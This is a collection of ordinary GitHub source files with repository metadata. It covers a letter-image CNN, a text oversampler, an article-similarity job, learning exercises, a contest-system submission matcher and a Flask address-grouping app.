{"seq_id":"14900946889","text":"import tensorflow as tf\nimport numpy as np\nfrom os import listdir\nfrom os.path import isfile, join\nimport cv2\n\nonlyfiles = [f for f in listdir('preprocessed') if isfile(join('preprocessed', f))]\nnames = []\n\nfor i in onlyfiles:\n    names.append(i[0])\nimg =[]\n\nfor index in range(len(onlyfiles)):\n    img.append(cv2.imread(\"preprocessed/\" +  onlyfiles[index],1))\n\narr = np.empty((len(img),img[0].shape[0],img[0].shape[1],img[0].shape[2]))\narr1 = np.empty((len(img),img[0].shape[0],img[0].shape[1],img[0].shape[2]))\nfor i in range(len(img)):\n    arr[i] = np.array(img[i])\n    arr1[i] = cv2.resize(arr[i],(img[0].shape[1],img[0].shape[0]))\n\narr2 = np.empty(len(names))\nfor i in range(len(names)):\n    arr2[i] = ord(names[i])-ord('A')\ntraining_images = arr1[0:6000]\ntraining_labels = arr2[0:6000]\ntest_images = arr1[6000:len(arr1)]\ntest_labels = arr2[6000:len(arr2)]\ntraining_images=training_images/255.0\ntest_images=test_images/255.0\nprint(training_labels[1])\nprint(names[1])\ncv2.imshow('img1',training_images[1])\n\n#training_images = training_images/255.0\n#test_images = test_images/255.0\nmodel = tf.keras.models.Sequential([\n  tf.keras.layers.Conv2D(64, (3,3), activation='relu', input_shape=(img[0].shape[0],img[0].shape[1],img[0].shape[2])),\n  tf.keras.layers.MaxPooling2D(2, 2),\n  tf.keras.layers.Conv2D(64, (3,3), activation='relu'),\n  tf.keras.layers.MaxPooling2D(2,2),\n  tf.keras.layers.Flatten(),\n  tf.keras.layers.Dense(128, activation='relu'),\n  tf.keras.layers.Dense(26, activation='softmax')\n])\n\nmodel.compile(optimizer = 'adam', loss = 'sparse_categorical_crossentropy', metrics=['accuracy'])\nmodel.fit(training_images,training_labels,epochs = 5)\n\n\n\ntest_loss = model.evaluate(test_images, test_labels)\nmodel.save('my_model.h5')\n#index = 521\n#cv2.imshow('image1',img[index])\n#print(names[index])\n#cv2.waitKey(0)\n","repo_name":"rcrc0330/captcha","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12483252809","text":"import pandas as pd\r\n\r\n\r\ndef make_month_year(month, year):\r\n    switcher = {\r\n        1: \"January\",\r\n        2: \"February\",\r\n        3: \"March\",\r\n        4: \"April\",\r\n        5: \"May\",\r\n        6: \"June\",\r\n        7: \"July\",\r\n        8: \"August\",\r\n        9: \"September\",\r\n        10: \"October\",\r\n        11: \"November\",\r\n        12: \"December\"\r\n    }\r\n\r\n    return f'{switcher.get(month)} {year}'\r\n\r\n# service = appointments_data['Service'][appointments_data['Client ID'] == 314]\r\n# service = service.values[0]\r\n# service_list = service.split(\",\")\r\n# print(service_list)\r\n# print(len(service_list))\r\n\r\n# appt_date = appointments_data['Appt Date'][appointments_data['Client ID'] == 314]\r\n# appt_date = appt_date.values[0]\r\n# appt_time = appointments_data['Time'][appointments_data['Client ID'] == 314]\r\n# appt_time = appt_time.values[0]\r\n# date_time = f'{appt_date} {appt_time}'\r\n# appt_year = appt_date.split('-')[2]\r\n# appt_year = '20' + appt_year\r\n# print(appt_year)\r\n\r\nclient_data = pd.read_csv(r'C:\\Users\\Lenovo\\PycharmProjects\\AestheticPro\\AestheticPro_data\\Client_Details.csv',\r\n                              encoding='cp1252')\r\n\r\n# phone = client_data['Home Phone'][client_data['Client ID'] == 223]\r\n# phone = phone.values[0]\r\n# if any(char.isdigit() for char in str(phone)):\r\n#     print(phone)\r\n# else:\r\n#     phone = client_data['Mobile Phone'][client_data['Client ID'] == 223]\r\n#     phone = phone.values[0]\r\n#     if any(char.isdigit() for char in str(phone)):\r\n#         print(phone)\r\n#     else:\r\n#         phone = client_data['Work Phone'][client_data['Client ID'] == 223]\r\n#         phone = phone.values[0]\r\n#         if any(char.isdigit() for char in str(phone)):\r\n#             print(phone)\r\n#         else:\r\n#             print('Number not available')\r\n\r\ndob = client_data['Birthdate'][client_data['Client ID'] == 397]\r\ndob = dob.values[0]\r\nprint(dob)\r\ndob = str(dob)\r\nif '-' in dob or '/' in dob:\r\n    if '-' in dob:\r\n        day = dob.split('-')[1]\r\n        month = dob.split('-')[0]\r\n        year = '19' + dob.split('-')[2]\r\n    else:\r\n        day = dob.split('/')[1]\r\n        month = dob.split('/')[0]\r\n        year = dob.split('/')[2]\r\n    if day[0] == '0':\r\n        day = day[1]\r\n    if month[0] == '0':\r\n        month = month[1]\r\n    month = int(month) - 1\r\n    month = str(month)\r\n    print(day)\r\n    print(month)\r\n    print(year)\r\nelse:\r\n    print('No DOB found')","repo_name":"timurasif/AestheticPro-scrapper","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16785466588","text":"import  json\nimport math\n\nimport pandas as pd\nfrom imblearn.over_sampling import RandomOverSampler\nfrom nltk import word_tokenize\n\ndef duplicate_df_to_target(df, target_size):\n    df_sampled = pd.DataFrame()\n    while len(df_sampled) < target_size:\n        df_sampled = df_sampled.append(df.sample(replace=True))\n    return df_sampled.iloc[:target_size, :]\n\ndef read_dataframe_from_excel(file):\n    dataframe = pd.read_excel(file)\n    return dataframe\n\nclass SimilarWordReplacer:\n    def __init__(self,  model_file=\"models/word-groups.json\"):\n        self._model_file =model_file\n        self._group_mapping = self.read_word_groups()\n        self._word_to_group =self.prepare_mapping(self._group_mapping)\n\n\n    def read_word_groups(self):\n        with open(self._model_file) as jsonfile:\n            json_list =json.load(jsonfile)\n            return json_list\n\n    def prepare_mapping(self, group_list):\n        word_dictionary =dict()\n        for group in group_list:\n                group_entries = group_list[group]\n                for  entry in group_entries:\n                    word_dictionary [entry]=group\n        return word_dictionary\n\n    def word_exists(self, word):\n        if word in self._word_to_group:\n            return True\n        return False\n\n    def get_equivalent_words(self, word):\n        if not self.word_exists(word):\n            return None\n        group_number =self._word_to_group[word]\n\n        word_list =self._group_mapping[group_number]\n        replacements =list()\n\n        for entry in word_list:\n            if entry!= word:\n                replacements.append(entry)\n        return replacements\n\n    def create_additional_samples(self, text):\n        new_samples =list()\n\n        instance_words = word_tokenize(text)\n        for word in self._word_to_group.keys():\n            if word in instance_words:\n                alternatives =self.get_equivalent_words(word)\n                for alternate in alternatives:\n                    new_sentence =text.replace(word, alternate)\n                    new_samples.append(new_sentence)\n        return new_samples\n\n\n\n        return count\n\nclass WordReplaceBasedOversampler:\n    def  __init__(self, sampling_strategy=0.5):\n        self._sampler= SimilarWordReplacer()\n        self._ratio =sampling_strategy\n\n\n    def get_all_synthetic_samples(self, X_df, Y_df):\n\n        merged_df =pd.concat([X_df, Y_df], axis=1)\n        new_samples =merged_df.iloc[:0,:].copy()\n        positive_df =merged_df[merged_df['target']==1]\n        positive_df.reset_index()\n        number_positive= len(positive_df)\n        total_sample =len(X_df)\n        number_negative =total_sample-number_positive\n\n        if self._ratio>1:\n            target_positive =self._ratio\n\n        else:\n            target_positive = math.ceil ((number_negative* self._ratio) -number_positive)\n\n        if target_positive<=0:\n            print(\"Invalid ratio\")\n            return X_df, Y_df\n\n        num_additional_samples=0\n\n        for index, row in positive_df.iterrows():\n\n            text =row['message']\n            alternate_texts =self._sampler.create_additional_samples(text)\n\n            if alternate_texts is not None:\n                for new_text in alternate_texts:\n                    new_row = row.copy(deep=True)\n                    new_row['message']=new_text\n                    new_samples =new_samples.append(new_row, ignore_index=False)\n                    num_additional_samples= num_additional_samples+1\n\n        print(\"created new samples \"+ str(num_additional_samples))\n        random_sample =new_samples.sample(n=target_positive)\n        merged_df =pd.concat([merged_df, random_sample], axis=0)\n        merged_df = merged_df.sample(frac=1).reset_index(drop=True)\n\n        return merged_df\n\n    def fit_resample(self, X_df, Y_df):\n\n        synthetic_df =self.get_all_synthetic_samples(X_df, Y_df)\n\n        return_x_df =synthetic_df.loc[:, synthetic_df.columns != 'target']\n        return_y_df =synthetic_df[\"target\"]\n\n\n        return  return_x_df, return_y_df\n\n\nclass MixedOversampler:\n    def  __init__(self, sampling_strategy=0.5):\n        self._sampler= SimilarWordReplacer()\n        self._ratio =sampling_strategy\n\n    def fit_resample(self, X_df, Y_df):\n        merged_df =pd.concat([X_df, Y_df], axis=1)\n\n        positive_df =merged_df[merged_df['target']==1]\n        positive_df.reset_index()\n        number_positive= len(positive_df)\n        total_sample =len(X_df)\n        number_negative =total_sample-number_positive\n\n\n        target_positive =int(number_negative* self._ratio)\n        new_samples =math.floor((target_positive- number_positive)*0.5)\n\n        print(\"Target postive samples: \" + str(target_positive))\n\n        if new_samples>0:\n            oversample_df =duplicate_df_to_target(positive_df, number_positive*10)\n            oversample_df= oversample_df.sample(n=new_samples).reset_index(drop=True)\n\n            print(\"Duplicated total: \" +str(len(oversample_df)))\n\n            generate_sampler =WordReplaceBasedOversampler(sampling_strategy=new_samples)\n            synthetic_df =generate_sampler.get_all_synthetic_samples(X_df, Y_df)\n\n            number_synthetic =int(target_positive-(new_samples +number_positive))\n            synthetic_df_samples =synthetic_df.sample(n=number_synthetic)\n\n            print(\"Selected synthetic total: \" +str(len(synthetic_df_samples)))\n\n            return_df =pd.concat([merged_df, oversample_df, synthetic_df_samples], axis=0)\n            return_df = return_df.sample(frac=1).reset_index(drop=True) #randomize\n            return_x_df =return_df.loc[:, return_df.columns != 'target']\n            return_y_df =return_df[\"target\"]\n\n            return  return_x_df, return_y_df\n\n\n\n\n\n\n\n\n\n\n\n#\n#\n# gsdset= GSD4SE()\n#\n# dataframe =gsdset.get_training_data()\n#\n# kf = StratifiedKFold(n_splits=10, shuffle=True, random_state=5)\n# results = \"\"\n#\n#\n# custom_sampler =WordReplaceBasedOversampler(sampling_strategy=0.7)\n#\n# i=1\n#\n# for train_index, test_index in kf.split(dataframe, dataframe[\"target\"]):\n#     print(\"Iteration\"+ str(i))\n#\n#     X_train, X_test = dataframe.loc[train_index, [\"message\", \"role_reference\",\"maternal_reference\",\"gender_reference\",\n#                             \"adjective_count\",\"physical_reference\", \"CommentID\"]], \\\n#                       dataframe.loc[test_index, [\"message\", \"role_reference\",\"maternal_reference\",\"gender_reference\",\n#                             \"adjective_count\",\"physical_reference\", \"CommentID\"]]\n#     Y_train, Y_test = dataframe.loc[train_index, \"target\"], dataframe.loc[test_index, \"target\"]\n#\n#     X_augment, Y_augment =custom_sampler.fit_resample(X_train, Y_train)\n#\n#     print(len(X_augment))\n#     print(len(Y_augment))\n#     i=i+1\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"WSU-SEAL/SGID4SE","sub_path":"OverSampler.py","file_name":"OverSampler.py","file_ext":"py","file_size_in_byte":6722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18677219998","text":"\nimport traceback\nimport logging\nimport sys\nfrom technews_nlp_aggregator.common import load_config\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\nfrom technews_nlp_aggregator import Application\n\n\ndef process_for_insertion(id, df, threshold, articleFilterDF):\n\n    for other_id, row in df.iterrows():\n        score = row['score']\n        if score >= threshold and score < 0.995:\n            article_id, article_other_id = articleFilterDF.iloc[id]['article_id'], articleFilterDF.iloc[other_id]['article_id']\n            logging.info(\"Yielding {}, {}, {}\".format(article_id, article_other_id, score))\n            yield (article_id, article_other_id, score)\n\n\n\ndef eff_similar_articles(application, tf_threshold=0.58, doc_threshold = 0.3, d_days=2):\n    logging.info(\"Searching articles : {} tf, {} doc, {} d_days\".format(tf_threshold, doc_threshold, d_days))\n    _ = application\n    articlesToProcessDF =  _.articleLoader.articlesDF[_.articleLoader.articlesDF['processed'].isnull()]\n    con = _.similarArticlesRepo.get_connection()\n    logging.info(\"{} articles to process\".format(len(articlesToProcessDF)))\n\n    for id, row in articlesToProcessDF.iterrows():\n        article_id = row['article_id']\n        article_date = row['date_p']\n        logging.info(\"Processing article : {}\".format(article_id))\n\n        tfidf_DF= _.tfidfFacade.get_related_articles_for_id(id, d_days)\n        doc2vec_DF = _.doc2VecFacade.get_related_articles_for_id(id,  d_days)\n        logging.info(\"Found {} tf, {} doc\".format(len(tfidf_DF), len(doc2vec_DF)))\n        try:\n            con.begin()\n            logging.info(\"Processing similar TFs...\")\n            for article1, article2, score in process_for_insertion(id, tfidf_DF, tf_threshold, _.articleLoader.articlesDF):\n                _.similarArticlesRepo.persist_association(con, article1, article2,  _.tfidfFacade.name, score)\n            logging.info(\"Processing similar Doc2Vecs...\")\n            for article1, article2, score in process_for_insertion(id, doc2vec_DF, doc_threshold,  _.articleLoader.articlesDF ):\n                _.similarArticlesRepo.persist_association(con, article1, article2, _.doc2VecFacade.name, score)\n\n            _.similarArticlesRepo.update_to_processed(article_id, con)\n            con.commit()\n        except:\n            traceback.print_exc()\n            con.rollback()\n\n\n\n\nif __name__ == '__main__':\n    config = load_config(sys.argv)\n    application = Application(config, True)\n    eff_similar_articles(application, float(config['tf_threshold']), float(config['doc_threshold']), float(config.get('d_days',2) ))\n\n","repo_name":"diegoami/newscollection","sub_path":"similar_articles_eff.py","file_name":"similar_articles_eff.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"}
{"seq_id":"28761265949","text":"# Machine Learning: Decision Trees - Exercicio\n\n# Execute os blocos de códigos no Jupyter Notebook, conforme indicação: \n\n## Bloco1\nimport pandas as pd\narquivo = pd.read_csv('D:/Github/data-science/machine-learning/algoritmos/algoritmo-decision-trees/column_2c_weka.csv')\n\n## Bloco2\narquivo.head()\n\n## Bloco3\nfaltantes = arquivo.isnull().sum()\nfaltantes_percentual = (arquivo.isnull().sum() / len(arquivo['pelvic_incidence'])) * 100\nprint(faltantes_percentual)\n\n## Bloco4\narquivo.dtypes\n\n## Bloco5\n#Importante: Todas as variáveis em Decision Trees, precisam ser do tipo: numérico!\n# Alterando o nome: Abnormal=1 e Normal=0 no dataset\narquivo['class'] = arquivo['class'].replace('Abnormal', 1)\narquivo['class'] = arquivo['class'].replace('Normal', 0)\n\n## Bloco6\narquivo\n\n## Bloco7\n#Separando as variáveis entre preditoras e variável target\ny = arquivo['class']\nx = arquivo.drop('class', axis = 1)\n\n## Bloco8\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import GridSearchCV\n\n#Definindo os valores que serão testados em DecisionTree:\nminimos_split = np.array([2, 3, 4, 5, 6, 7, 8])\nmaximo_nivel = np.array([3, 4, 5, 6])\nalgoritmo = ['gini', 'entropy']\nvalores_grid = {'min_samples_split': minimos_split, 'max_depth': maximo_nivel, 'criterion': algoritmo}\n\n#Criação do modelo:\nmodelo = DecisionTreeClassifier()\n\n#Criando os grids:\ngridDecisionTree = GridSearchCV(estimator = modelo, param_grid = valores_grid, cv=5)\ngridDecisionTree.fit(x,y)\n\n#Imprimindo os melhores parâmetros:\nprint (\"Mínimo split: \", gridDecisionTree.best_estimator_.min_samples_split)\nprint (\"Máxima profundidade: \", gridDecisionTree.best_estimator_.max_depth)\nprint (\"Algotitmo escolhido: \", gridDecisionTree.best_estimator_.criterion)\nprint (\"Acurácia: \", gridDecisionTree.best_score_)\n","repo_name":"alanjoffre/data-science","sub_path":"machine-learning/primeiro-modulo/algoritmos/algoritmo-decision-trees/exercicio-decision-trees.py","file_name":"exercicio-decision-trees.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"73667580302","text":"\"\"\"\" Create a function that concatenates the number 7 to the end of every chord in a list. If a chord already ends\nwith a 7, do not add another 7.\n\nExamples:\n\ncsMakeItJazzy([\"G\", \"F\", \"C\"]) ➞ [\"G7\", \"F7\", \"C7\"]\ncsMakeItJazzy([\"G\", \"F7\", \"C\"]) ➞ [\"G7\", \"F7\", \"C7\"]\ncsMakeItJazzy([\"Dm\", \"G\", \"E\", \"A\"]) ➞ [\"Dm7\", \"G7\", \"E7\", \"A7\"]\ncsMakeItJazzy([\"F7\", \"E7\", \"A7\", \"Ab7\", \"Gm7\", \"C7\"]) ➞ [\"F7\", \"E7\", \"A7\", \"Ab7\", \"Gm7\", \"C7\"]\ncsMakeItJazzy([]) ➞ []\n\"\"\"\n\n\ndef csMakeItJazzy(chords):\n    for index in range(len(chords)):\n        if chords[index].__contains__(\"7\"):\n            continue\n        elif chords == []:\n            return []\n        else:\n            chords[index] = chords[index] + \"7\"\n    return chords\n\n\nprint(csMakeItJazzy([\"Dm\", \"G\", \"E\", \"A\"]))  # [\"Dm7\", \"G7\", \"E7\", \"A7\"]\n\n\ndef csMakeItJazzy(chords):\n    # put the result in a list\n    result = []\n\n    # loop through the chords\n    for chord in chords:\n        if chord.endswith(\"7\"):\n            result += [chord]\n        else:\n            # append the chord with the number 7\n            result += [chord + \"7\"]\n\n    return result\n\n\nchords = [\"G\", \"F\", \"C\", \"Dm\", \"G7\"]\nprint(csMakeItJazzy(chords))  # ['G7', 'F7', 'C7', 'Dm7', 'G7']\n\n\ndef csMakeItJazzy(chords):\n\n    # put the result in a list\n    result = []\n\n    # loop through the chords\n    for chord in chords:\n        # slice the last index off the string\n        if chord[-1] == \"7\":\n            # result += [chord]\n            result.append(chord)\n        else:\n            # result += [chord + \"7\"]\n            result.append(chord + \"7\")\n    return result\n\n\nchords = [\"G\", \"F\", \"C\", \"Dm\", \"G7\"]\nprint(csMakeItJazzy(chords))  # ['G7', 'F7', 'C7', 'Dm7', 'G7']","repo_name":"yazgeldigithub/algoSolutions","sub_path":"makeItJazzy.py","file_name":"makeItJazzy.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11523619607","text":"import os.path\n\nfrom cms.grading.languagemanager import get_language, LANGUAGES\n\n\nclass InvalidFiles(Exception):\n    \"\"\"Raised when the submitted files can't be matched to the format.\"\"\"\n\n    pass\n\n\ndef _match_filename(filename, language, element):\n    \"\"\"Ensure the filename is entirely compatible with the element.\n\n    Return whether the filename matches the element, including having an\n    appropriate value for the language-specific extension (if present)\n    for the given language.\n\n    filename (str): the filename.\n    language (Language|None): the language.\n    element (str): the element of the submission format.\n\n    return (bool): whether there's a match.\n\n    \"\"\"\n    if not element.endswith(\".%l\"):\n        return filename == element\n    if language is None:\n        raise ValueError(\"language not given but submission format requires it\")\n    base = os.path.splitext(element)[0]\n    return any(filename == base + ext for ext in language.source_extensions)\n\n\ndef _match_extension(filename, language, element):\n    \"\"\"Ensure filename is compatible with element w.r.t. the extension.\n\n    Return whether the filename (if given) matches the language-specific\n    extension of the element (if present) for the given language.\n\n    filename (str|None): the filename.\n    language (Language|None): the language.\n    element (str): the element of the submission format.\n\n    return (bool): whether there's a match.\n\n    \"\"\"\n    if filename is None or not element.endswith(\".%l\"):\n        return True\n    if language is None:\n        raise ValueError(\"language not given but submission format requires it\")\n    return any(filename.endswith(ext) for ext in language.source_extensions)\n\n\ndef _match_file(codename, filename, language, submission_format):\n    \"\"\"Figure out what element of the submission format a file is for.\n\n    Return our best guess for which element of the submission format\n    the submitted file was meant for. A match occurs when:\n    - the codename isn't given and the filename matches an element of\n      the submission format when we replace the latter's trailing \".%l\"\n      (if any) with one of the source extensions of the language;\n    - the codename matches exactly and if it ends in \".%l\" the filename\n      (if given) ends in any of the extensions of the language.\n\n    codename (str|None): the filename-with-%l, if provided.\n    filename (str|None): the name the contestant gave to the file, if\n        provided.\n    language (Language|None): the language to match against.\n    submission_format ({str}): the task's submission format.\n\n    return (str): the element of the submission format matched by the\n        file.\n\n    raise (InvalidFiles): if there's the slightest uncertainty or\n        ambiguity.\n\n    \"\"\"\n    if codename is None and filename is None:\n        raise InvalidFiles(\"need at least one of codename and filename\")\n\n    # If no codename is given we guess it, by attempting a match of the\n    # filename against all codenames. We claim victory if there is only\n    # one hit.\n    if codename is None:\n        candidate_elements = {element for element in submission_format\n                              if _match_filename(filename, language, element)}\n        if len(candidate_elements) == 1:\n            return candidate_elements.pop()\n\n    # If, on the other hand, the codename is given then it needs to\n    # exactly match an element of the format and, as a safety measure,\n    # the filename needs to match too at least with respect to the\n    # extension.\n    elif codename in submission_format \\\n            and _match_extension(filename, language, codename):\n        return codename\n\n    raise InvalidFiles(\n        \"file %r/%r doesn't unambiguously match the submission format\"\n        % (codename, filename))\n\n\ndef _match_files(given_files, language, submission_format):\n    \"\"\"Fit the given files into the given submission format.\n\n    Figure out, for all of the given files, which element of the\n    submission format they are for.\n\n    given_files ([ReceivedFile]): the files, as received from the user.\n    language (Language|None): the language to match against.\n    submission_format ({str}): the set of filenames-with-%l that the\n        contestants are required to submit.\n\n    return ({str: bytes}): the mapping from filenames-with-%l to\n        contents.\n\n    raise (InvalidFiles): if there's the slightest uncertainty or\n        ambiguity.\n\n    \"\"\"\n    files = dict()\n\n    for codename, filename, content in given_files:\n        codename = _match_file(codename, filename, language, submission_format)\n        if codename in files:\n            raise InvalidFiles(\n                \"two files match the same element %r of the submission format\"\n                % codename)\n        files[codename] = content\n\n    return files\n\n\nclass InvalidFilesOrLanguage(Exception):\n    \"\"\"Raised when the submitted files or given languages don't make sense.\"\"\"\n\n    pass\n\n\ndef match_files_and_language(given_files, given_language_name,\n                             submission_format, allowed_language_names):\n    \"\"\"Figure out what the given files are and which language they're in.\n\n    Take a set of files and a set of languages that these files are\n    claimed to be in and try to make sense of it. That is, the provided\n    information may come from sloppy, untrusted or adversarial sources\n    and this function's duty is to parse and validate it to ensure it\n    conforms to the expected format for a submission. Such a format is\n    given as a set of desired codenames (i.e., filenames with language\n    specific extensions replaced by %l) and a set of allowed languages\n    (if such a limitation is in place). The function tries to be lenient\n    as long as it believes the contestant's intentions are clear.\n\n    The function first figures out which set of candidate languages the\n    submission could be in, then tries to match the data against all of\n    them. If exactly one matches then that match is returned. The\n    languages that are considered are the ones provided by the user (if\n    they exist and are allowed) or, if not provided, all languages\n    (restricted to the allowed ones). If the submission format contains\n    no element ending in \".%l\" then the None language is always used\n    (the rest of the arguments still needs to make sense though).\n    Matching a language is done using the match_files function.\n\n    given_files ([ReceivedFile]): the submitted files.\n    given_language_name (str|None): the language, usually provided by\n        the contestant, which the submitted files are in (None means\n        this information isn't available and we should guess it).\n    submission_format ({str}): the codenames that the submitted files\n        should be matched to.\n    allowed_language_names ([str]|None): the languages that the result\n        is allowed to have (None means no limitation).\n\n    return ({str: bytes}, Language|None): the mapping from codenames to\n        content, and the language of the submission (with None meaning\n        that no language is needed as the format was language-agnostic).\n\n    raise (InvalidFilesOrLanguages): if issues arise when finding a\n        match.\n\n    \"\"\"\n    if len(given_files) == 0:\n        raise InvalidFilesOrLanguage(\"no files given\")\n\n    # If the submission format is language-agnostic the only \"language\"\n    # that makes sense is None, and if the caller thought differently we\n    # let them know.\n    if not any(element.endswith(\".%l\") for element in submission_format):\n        if given_language_name is not None:\n            raise InvalidFilesOrLanguage(\n                \"a language %r is given when not needed\" % given_language_name)\n        candidate_languages = {None}\n\n    # If a language is required and the caller told us which one to use\n    # we follow their indication, provided it exists and is allowed.\n    elif given_language_name is not None:\n        try:\n            language = get_language(given_language_name)\n        except KeyError:\n            raise InvalidFilesOrLanguage(\n                \"the given language %r isn't a language\" % given_language_name)\n\n        if allowed_language_names is not None \\\n                and language.name not in allowed_language_names:\n            raise InvalidFilesOrLanguage(\n                \"the given language %r isn't allowed\" % given_language_name)\n\n        candidate_languages = {language}\n\n    # If a language is needed but the caller didn't provide any we try\n    # to auto-detect it by guessing among all allowed languages.\n    else:\n        if allowed_language_names is None:\n            candidate_languages = set(LANGUAGES)\n        else:\n            candidate_languages = set()\n            for language_name in allowed_language_names:\n                try:\n                    language = get_language(language_name)\n                except KeyError:\n                    pass\n                else:\n                    candidate_languages.add(language)\n\n    matched_files_by_language = dict()\n    invalidity_reasons = list()\n    for language in candidate_languages:\n        try:\n            matched_files_by_language[language] = \\\n                _match_files(given_files, language, submission_format)\n        except InvalidFiles as err:\n            invalidity_reasons.append(\"%r: %s\" % (\n                language.name if language is not None else None, err))\n\n    if len(matched_files_by_language) == 0:\n        raise InvalidFilesOrLanguage(\n            \"there isn't any language that matches all the files:\\n%s\"\n            % (\";\\n\".join(invalidity_reasons)))\n    elif len(matched_files_by_language) > 1:\n        raise InvalidFilesOrLanguage(\n            \"there is more than one language that matches all the files: %r\"\n            % set(matched_files_by_language.keys()))\n\n    language, files = matched_files_by_language.popitem()\n\n    return files, language\n","repo_name":"cms-dev/cms","sub_path":"cms/server/contest/submission/file_matching.py","file_name":"file_matching.py","file_ext":"py","file_size_in_byte":9874,"program_lang":"python","lang":"en","doc_type":"code","stars":840,"dataset":"github-code","pt":"47"}
{"seq_id":"11063723674","text":"## 2579_계단오르기\n## 2022-10-21\n\nimport sys\nsys.stdin = open('input.txt','r')\n\nstairs = int(input())\nscores = [0]*(stairs+1)\n\nfor i in range(1,stairs+1):\n    scores[i] = int(input())\n\ndp = [0]* (stairs+1)\n\nif stairs ==1:\n    print(scores[1])\n    exit()\nelif stairs==2:\n    print(sum(scores[:3]))\n    exit()\ndp[1] = scores[1]\ndp[2] = scores[1] + scores[2]\n\nfor i in range(3, stairs+1):\n    dp[i] = max(dp[i-2]+scores[i], dp[i-3]+scores[i-1]+scores[i])\n\nprint(dp[-1])\n\n\n# 한번에 한 계단 또는 두 계단씩\n# 연속된 세 개의 계단을 모두 밟으면 안된다. \n# 마지막 계단은 반드시 밟아야 한다.\n# 점수의 최댓값은?\n\n# DP? DFS같은데.\n# score = 0\n# idx = -1\n# stack = 0\n# max_score = 0\n\n# def DFS():\n#     global idx, score, max_score, stack\n\n#     if idx == stairs-1:\n#         if max_score < score:\n#             max_score = score\n\n#     else:\n#         if stack < 2:\n#             idx +=1 \n#             stack += 1\n#             score += scores[idx]\n#             DFS()\n#             score -= scores[idx]\n#             stack -=1\n#             idx-=1\n\n#         if idx < stairs-2 :\n#             idx +=2\n#             stack =1\n#             score += scores[idx]\n#             DFS()\n#             score -= scores[idx]\n#             stack -=1\n#             idx -=2\n    \n\n# DFS()\n\n# print(max_score)\n## DFS는 시간초과 \n\n#계단 계수는 300\n\nvalue = 0","repo_name":"Rlack97/TIL","sub_path":"알고리즘 문제들/2579_계단오르기/2579_계단오르기.py","file_name":"2579_계단오르기.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72043397262","text":"from flask import Flask, render_template, request\nimport pandas as pd\nimport requests\nimport json\nimport os\nfrom dotenv import load_dotenv\n\n# creates a Flask application\napp = Flask(__name__)\n\nload_dotenv()\n\nAPI_KEY = os.getenv('API_KEY')\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\n@app.route(\"/\")\ndef insertData():\n    return render_template('index.html')\n\n\ndef analyse_data(data=None, file=None):\n    \"\"\"\n    This function takes in a json string and/or a csv file and returns a list of strings.\n    The json string and/or csv file contains a list of name/address pairs.\n    \"\"\"\n    df_json = pd.DataFrame()\n    df_file = pd.DataFrame()\n    if data:\n        data = json.loads(data)\n        df_json = pd.json_normalize(data)\n        df_json.columns = map(str.lower, df_json.columns)\n    if file:\n        df_file = pd.read_csv(file, encoding='utf8')\n        df_file.columns = map(str.lower, df_file.columns)\n\n    if df_file.empty == False and df_json.empty == False:\n        # concat 2 dataframes together\n        df = pd.concat([df_file, df_json], axis=0, ignore_index=True)\n    elif df_file.empty == False:\n        df = df_file\n    elif df_json.empty == False:\n        df = df_json\n\n    # drop duplicates\n    df.drop_duplicates(subset=['name', 'address'], keep='first', inplace=True)\n\n    # get dpbc for each address\n    df['dpbc'] = df.apply(lambda row: get_dpbc(row['address']), axis=1)\n\n    # drop rows with invalid address\n    if df.isnull().values.any():\n        raise ValueError(\"Some name/addresses are not valid\")\n\n    # drop rows with empty name or address\n    df.dropna(subset=['name', 'address'], inplace=True)\n\n    # sort by dpbc\n    initialList = df.groupby('dpbc')['name'].apply(\n        lambda x: x.sort_values().values).to_list()\n    initialList.sort(key=lambda x: x[0])\n    result = []\n    for item in initialList:\n        result.append(', '.join(item.tolist()))\n\n    return result\n\n# get a csv file from the user\n\n\n@app.route(\"/saved\", methods=['POST'])\ndef saved():\n    file = request.files.get(\"file\")\n    data = request.form.get(\"data\")\n\n    result = analyse_data(data, file)\n\n    # save result to a file\n    result_path = os.path.join(BASE_DIR, \"static\", 'result.txt')\n    with open(result_path, 'w', encoding=\"utf-8\") as file:\n        for item in result:\n            file.write(\"%s\\n\" % item)\n\n    return render_template('result.html', result=result)\n\n\ndef get_dpbc(address):\n    \"\"\"\n    This function takes in an address and returns the dpbc of the address, using google Geolocation API.\n    dpbc stands for \"Dissemination Area Postal Code\".\n    \"\"\"\n\n    res = requests.get(\n        'https://maps.googleapis.com/maps/api/geocode/json?address='+address+'&key='+API_KEY)\n    if res.status_code != 200:\n        return None\n    data = res.json()\n    try:\n        output = data['results'][0]['geometry']['location']\n    except IndexError:\n        return None\n    return round(output['lat'], 2), round(output['lng'], 2)\n\n\n# run the application\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"afif86/grouping_data","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
